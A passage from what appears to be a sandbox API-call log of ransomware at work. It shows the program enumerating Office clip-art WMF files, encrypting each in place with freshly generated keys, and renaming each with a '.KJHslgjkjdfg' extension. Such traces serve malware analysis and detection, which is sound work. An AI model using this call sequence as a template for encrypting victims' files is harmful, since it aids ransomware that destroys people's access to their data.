(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.849] GetProcessHeap () returned 0x2a0000 [0162.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.849] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0162.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.922] GetProcessHeap () returned 0x2a0000 [0162.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.923] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.923] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.923] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.923] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.923] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1714, lpOverlapped=0x0) returned 1 [0163.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1720, dwBufLen=0x1720 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1720) returned 1 [0163.064] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.064] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1720, lpOverlapped=0x0) returned 1 [0163.065] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0163.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.065] SetEndOfFile (hFile=0x114) returned 1 [0163.067] GetProcessHeap () returned 0x2a0000 [0163.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0163.067] GetProcessHeap () returned 0x2a0000 [0163.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0163.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.kjhslgjkjdfg")) returned 1 [0163.077] CloseHandle (hObject=0x114) returned 1 [0163.077] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0163.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.078] GetProcessHeap () returned 0x2a0000 [0163.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0163.078] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0163.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0163.078] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0163.116] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0163.117] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0163.117] GetProcessHeap () returned 0x2a0000 [0163.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0163.117] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0163.117] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0163.117] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0163.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0163.117] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0163.117] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0163.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0163.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0163.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0163.117] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0163.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.118] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5c2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5c2c, lpOverlapped=0x0) returned 1 [0163.230] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c30, dwBufLen=0x5c30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c30) returned 1 [0163.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.231] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c30, lpOverlapped=0x0) returned 1 [0163.231] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0163.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.231] SetEndOfFile (hFile=0x114) returned 1 [0163.421] GetProcessHeap () returned 0x2a0000 [0163.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0163.421] GetProcessHeap () returned 0x2a0000 [0163.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0163.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.kjhslgjkjdfg")) returned 1 [0163.440] CloseHandle (hObject=0x114) returned 1 [0163.440] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0163.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.441] GetProcessHeap () returned 0x2a0000 [0163.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0163.441] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0163.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0163.441] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0163.641] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0163.641] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0163.641] GetProcessHeap () returned 0x2a0000 [0163.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0163.641] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0163.641] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0163.641] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0163.641] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0163.641] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0163.642] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0163.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0163.642] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0163.642] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0163.642] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0163.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.642] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1434, lpOverlapped=0x0) returned 1 [0164.089] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1440, dwBufLen=0x1440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1440) returned 1 [0164.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.089] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1440, lpOverlapped=0x0) returned 1 [0164.089] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.089] SetEndOfFile (hFile=0x114) returned 1 [0164.172] GetProcessHeap () returned 0x2a0000 [0164.172] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0164.172] GetProcessHeap () returned 0x2a0000 [0164.172] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0164.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.kjhslgjkjdfg")) returned 1 [0164.174] CloseHandle (hObject=0x114) returned 1 [0164.174] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0164.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.176] GetProcessHeap () returned 0x2a0000 [0164.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0164.176] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0164.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0164.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0164.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0164.176] GetProcessHeap () returned 0x2a0000 [0164.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0164.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0164.177] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.177] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0164.211] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0164.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0164.212] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0164.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0164.212] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0164.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.212] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1600, lpOverlapped=0x0) returned 1 [0164.384] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600, dwBufLen=0x1600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600) returned 1 [0164.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.384] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1600, lpOverlapped=0x0) returned 1 [0164.384] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.384] SetEndOfFile (hFile=0x114) returned 1 [0164.470] GetProcessHeap () returned 0x2a0000 [0164.470] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0164.470] GetProcessHeap () returned 0x2a0000 [0164.470] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0164.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.kjhslgjkjdfg")) returned 1 [0164.471] CloseHandle (hObject=0x114) returned 1 [0164.471] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0164.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.475] GetProcessHeap () returned 0x2a0000 [0164.475] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0164.475] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0164.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0164.475] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0164.519] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0164.520] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0164.520] GetProcessHeap () returned 0x2a0000 [0164.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0164.520] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0164.520] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.520] WriteFile (in: 